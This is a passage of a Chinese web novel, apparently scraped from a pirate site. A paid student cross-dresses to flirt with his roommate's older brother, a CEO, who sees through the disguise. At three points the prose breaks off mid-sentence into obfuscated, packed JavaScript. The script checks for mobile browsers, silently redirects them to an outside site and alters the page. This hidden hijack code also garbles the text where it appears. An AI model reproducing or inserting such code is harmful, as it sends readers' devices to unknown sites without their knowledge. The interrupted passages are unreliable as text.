他抬头,往室内泳池的方向扫了一眼,还真看见傅铮捏着手机,正满脸不爽地看着他。 两人目光对视,陶稚心里咯噔了一下,连气也不叹了,连忙低头打字解释:【傅哥在跟卫哥谈事情啊,我不好插嘴的。】 傅铮:【怎么不好插嘴了?直接打断他们。】 傅铮:【或者想办法吸引傅司珩的注意。】 陶稚:【……】 傅铮:【别吃了,回去我买给你,想吃多少吃多少。】 傅铮:【服了,又没有饿着你。】 陶稚:“……” 一番话说得陶稚有点不好意思了。 好像他多贪吃似的…… 陶稚抿着唇,放下果盘和手中的小零食,脑袋往旁边侧侧。 傅司珩依旧在和卫煜聊着他听不懂的话题,陶稚张望过去,像是某种小型绒毛动物,犹犹豫豫地踌躇。 傅司珩有感觉到他的视线。 注意力被分散了一秒,再回神时,连卫煜在说什么都没听清,忽然觉得他很烦。 他想问陶稚干嘛,陶稚忽然又坐好了。 只是短暂地往他这边看了一眼。 傅司珩按了下指骨。 …… 可没过多久,傅司珩忽然又觉得自己的手臂被人戳了一下。 说戳大概也不太恰当。 因为陶稚觉得自己是在勾。 食指屈起,悄悄地用指腹滑过傅司珩的手臂。 动作很轻,很缓慢,滑过之后又轻轻戳了一下,成功吸引到了傅司珩的注意力。 傅司珩能清楚地感觉到他的小动作。 他已经懒得管卫煜了。 卫煜很啰嗦,很烦人,所以傅司珩侧眸,看向了陶稚。 两人的目光对视上,陶稚紧张地舔了舔唇,第一反应是想错开视线,再松开傅司珩。 但他马上又想起自己的目的。 于是手又放了上去。 这次胆子还大了一点,整个手掌都贴在傅司珩的手臂上,衬衫底下的手臂好硬好粗,这让他忍不住心里咯噔了一下。 感觉傅司珩一拳可以揍他十个。 傅铮的话,五六个吧。 陶稚一瞬间老实了不少。 再抬头时,他对傅司珩露出一个友好的笑容。 很拙劣的勾引。 傅司珩心想。 他不动声色地捻了捻手指。 7. 微信 对傅司珩来说,陶稚的手段真的很拙劣。 他这个年纪,如今的身份,什么样的男男女女没见过? 投其所好的,用身体勾引的,更甚者还有直接爬床的,各种伎俩,其中也不乏身段妖娆,长相艳丽的人,一个眼神就风情万种。 陶稚这点小招数。 笨拙,幼稚。 他还真有点看不上眼。 …… 不过这长相和小表情是真的很纯。 巴掌大的小脸,白皙漂亮,眸光柔软,眼尾下还有一颗小黑痣,清纯之中又让人觉得魅惑。 两人目光对视,傅司珩觉得陶稚的眼睛像是夜空一样。 静谧安宁,眸中有点点星光微微闪动。 但他依旧不为所动。 他的脸色没有任何变化,只是目光略微有些沉下,随后便不再管陶稚,继续和卫煜说话去了。 “……?” 哎……? 傅司珩竟然不搭理他吗? 就只是看了他一眼,没有要问他想干嘛的意思,也不和他说话。 怎么会这样啊? 努力想了很久,鼓起勇气实施的勾引行为,直接被人无视,陶稚有点傻眼,还有点儿挫败和失败。 他觉得傅司珩很高冷—— 只是看起来很高冷而已。 虽然没有搭理陶稚,但傅司珩也没有拒绝陶稚的继续碰触。 陶稚感觉到挫败的时候,手指依旧攀在他的手臂上,傅司珩没有赶他,反倒一动不动的,像是默认。 陶稚的小脑袋瓜也很快意识到了这点。 他低头看了好一会儿,半晌,试探性地作出了更为大胆明显的动作。 勾手臂不管用他就去勾手背勾手指。 白皙的手指勾着男人小麦色的尾指,陶稚还往自己这边拉了拉。 傅司珩的手掌很大。 又大又宽,两人的手交叠在一起,肤色差和体型差特别明显。 接近三十岁的成熟男人,手背上的青筋微微凸起,手指修长有力,指腹上覆着一层粗粝的茧,陶稚碰上去时,只觉得又烫又磨人。 像那种很粗糙的砂纸。 几乎一碰到,他就抿着唇想要松开,但想到傅铮交代给他的任务,又不敢动了。 他真的很努力,对得起傅铮付给他的加钱。 但傅司珩却始终像个无事人一样。 这太奇怪了。 有个陌生人对他动手动脚的,他竟然能全程当没感觉……聊天就聊得那么起劲吗?生意这么忙吗? 不愧是大总裁。 唉。 陶稚在心里叹了一口气。 他已经努力过了。 傅司珩不跟他聊天,对他的小动作视若无睹,完全无视,连一点反应都不给他,那他也没有办法。 该做的他都已经做过了。 这么一想,陶稚忽然又觉得庆幸。 他有乖乖听话,按照傅铮要求的办事,是傅司珩自己不上钩……起码他有了可以和傅铮交代的东西啊! 能交差了,那他好好跟傅铮说说,解释一下,没准傅铮就能放过他了也说不定,然后他们再寻找其他的报复办法。 傅铮也没有那么不讲道理的嘛。 陶稚的想法很单纯,顿时又觉得眼前一片豁然开朗。 于是勾引也不做了。 他开始抬头,寻找傅铮的位置,打算过去找他,再一起回学校。 这个包间很大,一眼几乎望不到头,不过泳池的位置倒挺好找。 从他这个方向,抬眼就能看见。傅铮没有站在先前的位置,而是坐在泳池边的长椅上背对着他。 陶稚正准备起身—— 没成功。 因为他刚有个动作,旁边突然不知道哪里来了个人,径直就在沙发坐下。 他坐的位置,正好就是陶稚旁边。 陶稚愣了愣,还没有反应过来,他的手指忽然反被牵住,紧接着,就被傅司珩拉着手,往他身边带过去了一点。 ??! 陶稚惊讶! 惊讶之后又傻眼,怎、怎么突然就…… 陶稚和傅司珩有着很明显的体型差。 他174的身高,被傅司珩握住手腕拉过去,肩膀碰触到他的胸口,像是坐到了他的怀里似的。 一瞬间姿势变得亲密无比。 这让陶稚觉得别扭,很不适应。 尽管刚刚他很大胆地勾手臂,勾指头,但、但现在这样…… 陶稚有点不知所措。 好在傅司珩很快松开了他。 把他揽过来,又很快松开,似乎只是不想让他挤到旁边的人。 哦对,刚刚有个陌生人。 陶稚往旁边看了一眼,对方也是个西装革履的男人,他不认识,所以下意识的,他又往傅司珩的身边靠了靠。 这下距离更近了。 一股淡雅的茉莉花香极具有侵略性地窜进傅司珩的鼻腔。 刚刚就有闻到。 在陶稚的肩膀碰到他的胸口时。 很难想象,这么清丽的花香,竟然会给人如此强势的感觉。 这和胆小清纯的漂亮女生很不符合。 于是在被陶稚骚扰了十几分钟后,傅司珩终于再次转头。 两人目光对视。 陶稚茫然地眨了下眼。 “……” 傅司珩忽然站起身。 怎么了……? 陶稚呆呆地看着他。 “这些以后再谈吧,我先走了。” 他这句话是对卫煜说的。 卫煜听到后:“?” 你好突然。 刚坐下的西装男也挑了下眉:“我刚来你就走啊。” 傅司珩嗯了一声:“有点事。” 说着,他拿起陶稚盖在腿上的西装外套,顺便也把陶稚提了起来:“走吧。” 陶稚:“?” 啊? - 陶稚跟着傅司珩离开了。 他不知道傅司珩要带他去哪里,懵懵地跟着他走。 穿过一条长长的走廊,来到会所门口时,陶稚这会儿才终于鼓起勇气,紧张地询问:“傅哥,你要带我去哪里啊? ” 该不会是要把他带出去揍一顿吧? 因为刚刚,他骚扰了他……? 想到傅铮脾气不怎么好,他就很刻板印象地觉得傅司珩应该也差不多,而且傅司珩看上去还比傅铮更凶……陶稚莫名地脖子一凉。 “回去。”傅司珩回答他的话。 嗯……? 回去?是什么意思。 还是没懂,但面对傅司珩的冷脸,他也不敢打破砂锅问到底,只好紧紧地跟在他的身后。 两人来到停车场,一辆黑色的迈巴赫面前。 驾驶位下来一个人,傅司珩摆了下手,示意不用他。司机点头,又回到车上。 傅司珩帮陶稚打开车门,陶稚坐了进去,傅司珩则绕到另外一边。 陶稚的目光一直跟着傅司珩转。 见他上车,又听见前方的司机问:“傅总,去哪儿?” “S大。” 陶稚又眨了眨眼。 刚刚在包间时他喝了一点儿果酒,虽说没有什么度数,但毕竟是从不沾酒的人,一丁点儿都让他有点上头。 他现在头脑是清醒的,但脸颊已经泛红了。 原本清透的浅粉色腮红,此刻好似被晕染开了,就像被指尖碾揉出汁水的桃花瓣,变得更加水润,羞怯。 “……” 也就是看着清纯。 实际上并不简单。 很有手段。 “你跟傅铮是同学?”傅司珩双腿交叠坐着,只看了陶稚一眼,便转头望向窗外。 “……对。”陶稚张了张嘴,点头应答。 傅司珩:“那送你到校门口。” 咦! 竟然真的是字面意义上的送他回去啊!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15796040|175019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陶稚有点惊讶,但很快又觉得惊喜。 太好了! 被强-制送回去,那也算他今天下班了! 陶稚连忙点头,动作快得像是生怕傅司珩反悔似的:“可以的可以的!” 傅司珩:“……” 傅司珩应了一声,司机启动了车子。 从会所开车到学校,车程大概一个多小时。大概是因为这会儿不在傅铮的眼皮子底下,陶稚也心安理得地不作妖,开始摸鱼。 他跟傅司珩一左一右,中间隔得老远了。 …… 刚刚勾人的时候胆子挺大的,现在又开始装不打扰了。 也不知道哪个才是真正的他,傅司珩扯了下唇,随即闭目养神,也不搭理陶稚。 一直到达目的地。 学校门口,车子停下。 司机从后视镜里看傅司珩,正犹豫要不要开口时,陶稚主动说话了。 他以为傅司珩在睡觉,小小声地喊了句傅哥。 “傅哥,谢谢你送我回来,我先回去了。” 声音很小,像是担心惊扰了傅司珩休息。但他的教养告诉他,不可以一声不吭地就走,离开之前,得和对方大声招呼才行。 陶稚也没想让傅司珩回应他,说完就打开了车门。 “嗯。”身后忽然传来低沉的男声,吓了陶稚一跳。 陶稚回头一看,傅司珩不知道什么时候睁开了眼。 车内的光线很暗,陶稚开门的动作切割出一片明暗的光影,他只看清了傅司珩下半张脸,凌厉而又深刻的轮廓让陶稚微微一怔,不过很快,他回神,对傅司珩露出一个友好的笑容:“傅哥,下次见。” 说完,他关上门。 原本以为告别了就可以离开,但他绕到车门的另外一边时,傅司珩却又按下了车窗。 一点,不多。 三分之一的车窗。 陶稚:“……?” 傅司珩有事想要和他说吗? 陶稚不解,但有乖乖停下脚步,弯腰,和车内的傅司珩对视。 两分钟。 陶稚表情茫然。 傅司珩:“……” 整整两分钟,没有一个人开口说话。 傅司珩的目光晦暗不明,表情也一言难尽。 陶稚不懂他这是什么意思,但看出来了他很不解,脸色也很冷酷。 ……有点吓人。 可陶稚不明白他为什么会这样。 自己刚刚说错了什么惹他不高兴了吗? 没有啊,一路上他都很乖地没有骚扰他呢! 离开的时候也很有礼貌。 没惹麻烦,也不招人讨厌的呀。 好疑惑。 想不通。 就在这时,他的手机忽然响了一声。 陶稚又低头去看信息。 他离开会所的时候,傅铮就问他去哪里了,一连发了好多问号。 陶稚上车后才有时间回复他,说傅司珩带他回学校了,傅铮这才安静下来。 现在又给他发信息了。 傅铮:【记得找傅司珩要联系方式,加个微信什么的。】 哦! 这提醒了陶稚。 他连忙弯下腰,敲了敲车窗。 “傅哥,方便加个微信吗?” 陶稚眼睛亮亮的,又小心翼翼地询问他。 傅司珩没说话。 傅铮到底是从哪里找来的笨蛋? 一点都不敬业。 “……傅哥?”该不会不想和他加微信吧? 唔。 也有可能……唉,又完不成傅铮交代的任务了。 那也没办法。 他总不能强-迫傅司珩。 被拒绝了,但没有不开心,只是有点尴尬,陶稚挠挠额角,刚准备收回—— 一个黑色手机从车窗里递出。 上面显示的是微信二维码。 傅司珩冷漠的声音随之响起:“扫。” 8. 笨蛋 听到傅司珩冷漠的语气,陶稚愣了好几秒。 然后他就透过车窗,看见了傅司珩皱起的眉头。 这下疑惑都不敢疑惑了,连忙按照他说的去做,拿起手机扫微信二维码,添加好友。 验证信息发过去的一瞬间,申请马上就通过了。 此时此刻,他完美地完成了傅铮交代给他的任务,拥有了傅司珩的微信。 ……呃? 这么简单吗? 陶稚低头看向手机屏幕,又抬眼看向车内,不太清晰的,傅司珩的脸。 两人谁也没有说话。 场面寂静了大概四五秒,陶稚才后知后觉地意识到,接下来,他是不是要跟傅司珩告别。比如说一句傅哥一路顺风什么的。 陶稚是个很有礼貌的大学生。 家里虽然贫困,父母却把他教导得很好。 但很显然,傅司珩的父母就没有那么会教了。 手机收了回去,傅司珩看了一眼后,嗯了声,便十分冷酷无情地将车窗按上。 迈巴赫启动,不一会儿便消失在了陶稚的视线中。 好吧。 也许是习惯了傅铮的不礼貌,所以他对于傅司珩也并没有抱太大的心理预期,这样也挺符合他们兄弟俩性格的。 陶稚并没有将这点小事放在心上,他只觉得今晚上出色地完成了傅铮的要求,也算是不辜负五万块了。 足足五万块啊! 这下应该有一半进到他的口袋,也不再爬傅铮反悔,给他收回去了。 陶稚的心情瞬间变得开朗。 他一边走在回宿舍的路上,一边跟傅铮汇报这个好消息。 刚巧,傅铮也发信息问他,好友加上没有。 陶稚老老实实地打字:【加上了。】 小笨蛋挺得意,还发了一个小兔子转圈圈的表情包。 傅铮还在会所里。 坐在泳池旁的长椅上跟陶稚发信息:【那就行。】 傅铮:【我今晚不回去了,你自己回宿舍吧。】 傅铮:【我们明天再复盘今天晚上的事。】 陶稚:【好哦。】 陶稚回答完傅铮的话,等了一分钟,见傅铮不再发信息,便将手机收起来。 夏夜的风凉爽,陶稚黑色的长发被吹到扬起,几缕发丝贴在白皙的脸颊上,发尾划过鼻尖,他抬手挽了挽。 ……挽? 一下没反应过来自己的头发怎么会吹到脸上来,陶稚表情疑惑,脚步同时停下,身侧这时却传来了男生的声音。 “咳,你好,同学。” 有点熟悉的声音,陶稚侧头,发现是认识的一个学长。 于是他眨了下眼,下意识地开口:“学长?好巧啊,找我有事吗?” “?”学长愣住。 他不明白眼前这个漂亮妹妹怎么认识自己,毫无印象啊……他是鼓了好大的勇气才决定上前来搭讪的! 不过他脑子很活泛了,短暂地愣神之后,反应过来立马改了称呼:“学妹?” 陶稚:“?” 学妹? 啊…… 哦…… 陶稚低头,看见了自己的裙子。 啊啊啊啊啊啊! 他一瞬间瞪大了眼,脸颊也跟着爆红。 怎、怎么忘了自己穿女装的事情了! - 还好不是在宿舍楼下发生的这种事,不然他进了男生宿舍楼,又回到自己宿舍,被别人看到现在这幅样子后,他都不敢想象接下来的风言风语。 这不是一个保守封建的直男能承受的事情。 他头脑混乱地反应过来后,连礼貌都顾不上了,匆匆忙忙摆手和学长道歉,然后跑开,来到了人比较少的地方,给傅铮打去了电话。 他将自己的情况和傅铮说明,并且小心翼翼地握紧手机询问傅铮:“我现在该怎么啊?” 傅铮听到:“……” “你是笨蛋吗?”傅铮无语死了。 他骂了陶稚一句后挂断电话,立马赶回了学校。 一个小时后,傅铮来到了学校人工湖附近。 陶稚不敢回宿舍,也不敢去人多的奶茶店坐着,于是选在了比较冷清的长椅上坐着,等待傅铮过来。 傅铮来的时候,陶稚正在拒绝今晚上的第12个搭讪者。 他现在记起来自己穿的女装,连话都不敢说了,只抿着唇,摆摆手拒绝。 傅铮站着看了几秒没被发现:“……” 忍无可忍,他直接冷脸走过去,也不顾旁边的人,拽着陶稚就走。 陶稚被吓了一跳,但见到是傅铮之后又安心了。 但也只安心了两秒。 两秒后,他的心又提了起来。 因为今晚,他犯了一个超级严重的错误。 说出来感觉要被傅铮给骂死。 赚点钱真的好不容易啊。 陶稚同学悄悄在心里叹气。 “傅铮。”稳了稳情绪后,他小声地喊傅铮的名字:“……我有一件事想要跟你说。” “说。”傅铮语气不太好。 陶稚挠了挠脑袋,酝酿了好一会儿,才敢开口:“我、好像忘记自己在装女生了。” 这是很严重的一个事情,因为忘记了,所以都没有刻意去掐着声音说话,伪音的事也忘了个一干二净。 算起来应该是从上车开始的。 适宜的车内温度,又没有人一直盯着他看,所以就把这件事忘了个彻底。 这之后下车,他又跟傅司珩说了好几句话。 想到可能已经穿帮,陶稚就觉得一阵后怕。 忙活了一个晚上,白忙活了,也不知道傅铮会怎么骂他,会不会让他还钱,他都做出这么大的牺牲了…… “对不起啊,傅铮。”陶稚硬着头皮说:“破坏了你的计划,我很抱歉。” 傅铮:“……” 傅铮自认为比陶稚聪明一点,所以很快反应过来这句道歉是什么意思。 陶稚这个笨蛋。 傅铮的脾气很差,换到以前,哪个小弟敢给他捅娄子,他绝对不会放过的。可是现在,看到陶稚抬着眼,小心翼翼道歉的样子……不知道为什么,他突然就发不起火了。 他现在内心还挺平静的。 但他又不想让陶稚太嚣张。 ——虽然陶稚并不是一个嚣张的性格。 “我真服了你了,这也能忘。”傅铮没好气地说:“有时候我都在想你是不是故意在搞我。” 肯定没有啊。 陶稚不敢还嘴,抿了抿唇,只小声道歉:“对不起嘛……” “……” 又开始撒娇了,傅铮翻了个白眼。 对他撒娇有什么用,有这劲去勾引傅司珩啊,天天就知道勾…… 操。 傅铮爆了句粗口。 “算了。”懒得跟笨蛋计较,傅铮问:“傅司珩说什么没有?或者有没有什么奇怪的地方?” 陶稚想了想。 然后摇头。 他把今天晚上,从自己上车到傅司珩离开,这期间发生的所有事所有对话,全部一字不漏地告诉了傅铮。 傅铮听完啧了一声。 “没准你和傅司珩蠢到一块儿去了也说不定。”傅铮听完没觉得有哪里不对劲。 傅司珩要是怀疑陶稚了,当场就会把自己揍一顿,哪里还忍得到第二天。 所以他告诉陶稚:“放心好了,没事。” “我们的计划继续。” 陶稚:“……” “哦。”陶稚挠了挠额角。 他其实觉得傅司珩看上去要比傅铮聪明一点。可这种话,又怎么可能会在傅铮面前说。 他又不是不想活了。 陶稚附和着点头,谄媚他的金主。 没有被狠狠骂一顿,心情可算是有所放松,也终于能将注意力放在眼前了。 傅铮一直拽着他的手往前走,陶稚不知道他们要去哪儿,于是问道:“我们现在去干什么?” “换衣服。” 话音落下,两人刚好走到学校停车场。 傅铮的车是代驾开回来的,一辆很张扬的悍马。 他走过去,替陶稚打开了后座的门。 “好的。”陶稚应了一声,很快钻进了车里。 车里放着陶稚自己的衣服。 男装,在容槐店里换下的那套。 他快速利落地穿好,打开车门。 傅铮正靠在车身上抽烟,听见声音后侧头,目光先是扫了一眼陶稚,然后望向车内。 换下来的女装被陶稚整整齐齐地叠好。 “衣服要拿回宿舍吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15796041|175019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”陶稚不太确定地问傅铮:“还是就放在这里?” 傅铮没有回答他,只是掐灭了手中的烟,然后将陶稚从车上薅下来后,顺手拿起衣服。 刚换下来的衣服,上面还有陶稚的体温……挺温暖的。 傅铮手指顿了顿,低头看了一眼衣服。 抬头时正好对上陶稚茫然不解的眼神。 “回宿舍。”傅铮面无表情地说。 - 西装外套上已经没有体温了,但还残留着一阵淡淡的茉莉花香。 ……即便已经过去快两个小时。 但外套上,花香的存在感却异常强势,这让傅司珩皱了皱眉。 但思考两秒后,他还是将外套穿上了。 迈巴赫再次停在蓝烟湾的停车场。 傅司珩下车,在服务生的带领下回到包间。 进门后,他随手解开衬衫上的两颗扣子,没有坐回到沙发上,而且来到吧台,点了一杯酒。 不多时,卫煜来到他身边。 “你弟什么意思?”现在旁边没有闲人,傅铮走了,他那小同学也被傅司珩送走了,所以卫煜很直接地就问了出来。 “他带个女同学过来,是要干嘛?” 卫煜隐隐有些猜测,但不太确定。 他一边观察着傅司珩的脸色,一边说:“该不会傅铮是想……” 傅司珩轻嗤了一声。 “我靠。” 还真是啊。 卫煜惊呼出声,觉得难以相信。 搞什么啊。 傅司珩明明察觉到了,竟然还有这么好的脸色? 还送人家女生回去。 不是应该先揍傅铮一顿吗? 他很震惊。 然而还有更加震惊的事。 “是男的,不是女生。”傅司珩端起面前的酒杯。 他轻轻摇晃了一下,冰块撞击着玻璃杯身,发出清脆的声响。 傅司珩回想了一下那张脸。 卫煜:“?” “啊???”平地一声惊雷起,卫煜顿时眼睛都瞪圆了:“男的???” 啊??? 嘶—— 这简直。 嘶。 卫煜一连嘶了好几声:“怎么可能啊,她那个脸,很可爱啊——” 一边说,一边还比手势。 巴掌大的瓜子脸,精致清纯的五官,水蒙蒙我见犹怜的眼珠子。哎哟,操。 男的? 卫煜难以置信,最后千言万语只汇成一句—— “多漂亮多水嫩啊,怎么可能是男的?” “你是不是看错了?” “没有。”傅司珩的嗓音冷淡:“我28岁,又不是8岁,这能看错?” “不至于男女都不分。” 从头到尾没怀疑陶稚性别的卫煜:“……” “内涵谁呢。”卫煜不爽。 傅司珩扯了下唇。 仔细想想,也不怪卫煜傻逼,那小男生确实有点儿女装天赋。 傅司珩又回忆了一下他的脸。 可爱,漂亮,天真,单纯。 …… 还有纯洁。 很具有迷惑性。 但勾引人的手段笨到不像话,以为攀个手臂,摸摸手指就是在勾引了。 啧。 想到这里,傅司珩很自然地回忆起来触感。 柔软的指尖划过他的肌肉线条,动作轻缓,慢慢向下。 傅司珩感觉自己的手臂似乎有点儿发烫。 “不是,你弟怎么回事啊……” 一般他们这个圈子送人,目的还真不好说,但总归就是那点子破事。 可傅铮是傅司珩的亲弟啊。 这…… “是想讨好你,让你把他的卡解冻吗……”卫煜想到了一个可能性,但说着说着,声音却越来越小,自己都不相信。 那要真是这样的,干嘛要找人男扮女装啊。 感觉是个很邪恶的计划。 卫煜看向傅司珩:“那你现在怎么想的啊。” “没什么好想的。”傅司珩并没有放在心上。 他低头喝了一口酒,酒精的气味都压不下衣服领口,茉莉花淡淡的清香。 傅司珩轻嗤道:“一个笨蛋一个蠢货,能掀起什么风浪来。” 9. 照片 第二天是周末。 不用上课,但陶稚依旧起得很早。 他的作息很健康,早睡早起,从不熬夜。 早上七点半就醒了,自己去食堂吃了早餐,顺便在校园里散了会儿步,拍了几张风景图给妹妹,然后在九点左右,回到宿舍。 宿舍里的另外两人已经去了图书馆,现在就只有傅铮一个人在睡觉。 他们宿舍是四人寝,但除了他和傅铮是新生外,其余两人都是大四的学长,还都计划考研。他们挺忙的,待在宿舍的时间并不多。 陶稚以前待在宿舍的时间也不多。 大一的课程忙,他又要上课又要兼职的,每天早上大清早就出门,临近关寝才回来。 也就是傅铮住进来之后,经济压力减少,生活稍微松弛了一点,所以待在宿舍的时间也随之变多。 当然,还有一个更重要的原因是他要随时满足傅铮的要求。 比如今天早上。 不确定傅铮起床后要吃什么,所以在他没有起床之前,自己必须一直待在宿舍里,哪里都不能去。 等傅铮醒来了,解决他的早餐问题后,如果傅铮要出门且不带他,那他今天接下来就是自由活动时间,想去干什么都可以。 如果傅铮出门但要带他,那他就继续跟着。 如果不出门的话,那就更要在待在宿舍随时待命了。 总之,他从傅铮手里挣的每一分钱,那都是辛苦劳动换来的,绝对没有烫手这一说! 不过偶尔也会稍微吐槽大少爷真的很难伺候。 今天周末,妹妹学校也不上课,大清早的,兄妹两人互相分享日常,妹妹随口问了一句他的老板今天给他安排了什么工作,任务难不难。 陶稚回了个小兔子抓墙的表情包。 陶稚:【老板还没有醒呢,要醒了才有任务。】 陶稚:【TvT他怎么还不醒。】 妹妹:【0.0】 妹妹:【摸摸小兔子头.jpg】 妹妹:【哥。】 妹妹颇有感慨地说:【我怎么觉得你像是养了一个富二代小宠物啊。】 陶稚:【什么?】 陶稚没明白妹妹的意思。 妹妹给他解释:【最近中学生很流行养手机里面的纸片人,喂饭洗澡穿衣什么的嘛,你的老板就很像嘛!】 妹妹:【^v^你看你像不像等着喂饭的伺主。】 毕竟如果不是为了等着给傅铮买早餐,陶稚这会儿早就去图书馆了。 陶稚:【……】 陶稚:【哈哈哈哈。】 陶稚被妹妹逗笑了,一连打了好几个哈哈哈。 别说。 还真挺像的。 但是。 陶稚:【他是老板,不可以这样说他。】 妹妹:【拉嘴巴拉链.jpg】 妹妹:【^v^】 周末的早上,偶尔松弛一下也好……也算是苦中作乐吧。 做人想要开心,心态是最重要的,妹妹三言两语就将一个很难搞的差事说得有点儿搞笑了。 陶稚挺开心的。 他跟妹妹在微信上继续聊着,嘴角的弧度就没有降下去过。但忽然,他听见有人喊了一声他的名字。 陶稚抬头,正好看见傅铮揉着脑袋起床。 睁开眼的第一件事就是先喊陶稚。 陶稚也是十分具有服务精神,见傅铮醒了,立马放下手机,朝他走过去。 他站在傅铮的床位下面,微微仰头。 柔软的黑发搭在额前,看起来乖巧又可爱,眼睛亮亮的,笑出一个小虎牙,热情地和他的富二代宠物……不是,和金主大老板打着招呼。 “傅铮,早上好,你醒啦?” 傅铮:“……” 一醒来就听见男生用撒娇的嗓音,嗲嗲地喊他的名字,傅铮没来由地被酥了一下,随即有点恼羞成怒:“好好说话。” “……?” 啊? 陶稚不懂,陶稚茫然。 陶稚疑惑地看向傅铮。 傅铮不理他。 故意不看他的眼睛,板着一张脸下床。 好吧,老板不知道又在闹什么矛盾。不过陶稚已经习惯了。 他见状连忙后退两步给傅铮让路。过了几秒,意识到傅铮这是要起床洗漱了,又匆匆忙忙地赶去洗手间,准备去帮傅铮挤牙膏。 宿舍的洗手间不算宽敞,两人男生一起站进去肯定很挤,所以一般都是傅铮下床的时候,陶稚就开始帮忙挤牙膏。 等他进了洗手间,陶稚刚好出来。 不会耽误大少爷一丁点儿时间。 可今天慢了一点。 他刚转身就被傅铮拎着领子往后提。 傅铮进了洗手间,表情不高兴地自己挤牙膏。 又哪里惹他了? 陶稚不知道。 他挠了挠脑袋,扒拉着洗手间的门,看正在刷牙的傅铮。 他其实没太明白傅铮的好好说话指的是什么,想了好一会儿也只得出说话小心一点的结论。 “傅铮,你今天早餐吃什么?我帮你买回来。”陶稚小心地开口。 傅铮刷牙的动作停下。 他抬眼,透过面前的镜子,看见了陶稚的样子。 小心谨慎,像是某种在洞口观望的小动物。 ……怪可爱的。 什么啊。 傅铮莫名其妙给自己想生气了,表情老大不爽。 他故意面无表情地和陶稚说话:“今天出去吃。” “哦。” 原来如此。 陶稚点了下头,应声:“好的。” - 于是陶稚跟着傅铮去学校外面的早餐店了。 陶稚其实已经吃过早餐,在傅铮还没有睡醒的时候,他去食堂买了豆浆油条吃得很饱。 但来到早餐店后,傅铮却点了一大堆的东西,喊上他一块儿吃。 陶稚有点为难。 他一点都不饿,不过看见傅铮的表情,又不敢拒绝,于是在他对面坐下了。 陶稚要了一小碗粥,小口小口地用勺子吃着。 像个仓鼠一样,安安静静的,脸颊微微鼓起。 傅铮盯着看了好一会儿,不知道怎么回事,忽然想到了刚搬进宿舍那天,陶稚坐在自己的座位上,一边写作业,一边啃馒头的场景。 有点不爽。 他从口袋里掏出一支烟,没点燃,咬在嘴里,继续看陶稚吃饭。 “多吃点,你看你这细胳膊细腿的。”顿了一下,傅铮别扭地转开眼,看向窗外:“这么瘦,怎么勾引傅司珩。” “嗯?”声音太小,陶稚没有听清,他抬起头。 傅铮:“没什么,吃你的。” 陶稚:“哦。” 陶稚继续低头喝粥,傅铮想到傅司珩,自然而然地就回忆起了昨天陶稚加到傅司珩微信的事,于是顺势开口:“把你手机给我看看。” “嗯?好。”陶稚对傅铮那是有求必应,一点也没有觉得他这样做有什么不对劲的地方,何况他压根没有秘密—— 手刚伸出去,他忽然想起今天早上和妹妹的聊天内容,什么乱七八糟的电子宠物富二代,这些内容要是被傅铮看见了…… 陶稚紧张死了,下意识往回缩。 但没成功。 傅铮一下就将他的手机给抽走了,陶稚顿时变得坐立难安。 好在傅铮并没有看他的其他信息,而是目标很明确的,径直点开和傅司珩的聊天框。 两人虽然加上了好友,但陶稚这个笨蛋竟然也不知道跟傅司珩打招呼,聊天框孤零零的,空白一片。 陶稚则是紧张地看着他。 好怕傅铮看他和妹妹的聊天记录啊—— “你怎么没跟傅司珩说话?” “还有,你竟然用自己的大号加他,我是真服了你了。” 也就刚好陶稚网名和头像都挺中性的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15796042|175019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,朋友圈也没有发过自己照片,只有一些校园风景图,大概也算是蒙混过关,没被傅司珩发现男生身份。 但傅铮还是想说他。 可他抬头,正好看见的陶稚如临大敌,紧张地盯着他看…… 傅铮忽然就停下了。 他是不是对陶稚有点太凶了? 傅铮难得地开始反省。 小笨蛋除了有点笨,其他方面都挺好的。 至少他很听话,不顶嘴,勤快,让干什么就干什么。 作为跟班小弟来说,已经很好了。 要不,对他好一点? 至少别让他对自己害怕。 傅铮忽然有点郁闷。 陶稚到底有什么好怕他的。 “当时没有考虑太多嘛,而且我没有微信小号的,总不可能当着他的面创建一个。”陶稚小声地替自己辩解。 “而且我也不知道该和他说什么。”傅铮应该没有看见他和妹妹的聊天记录,不然表情不会这么平和。 陶稚稍微松了一口气。 ——你想说什么就说什么,笨,这都要教。 这些话都在嘴边了,傅铮硬生生给咽了回去,语气不耐地换了一种说法:“随便你发什么。” “聊天你总会吧。” 啊…… 就算这么说,陶稚也毫无头绪。 他眨了下眼,看向傅铮的眼神茫然清澈:“那我现在给他发早上好?” 傅铮:“……” 果然不该对陶稚抱太大期待的。 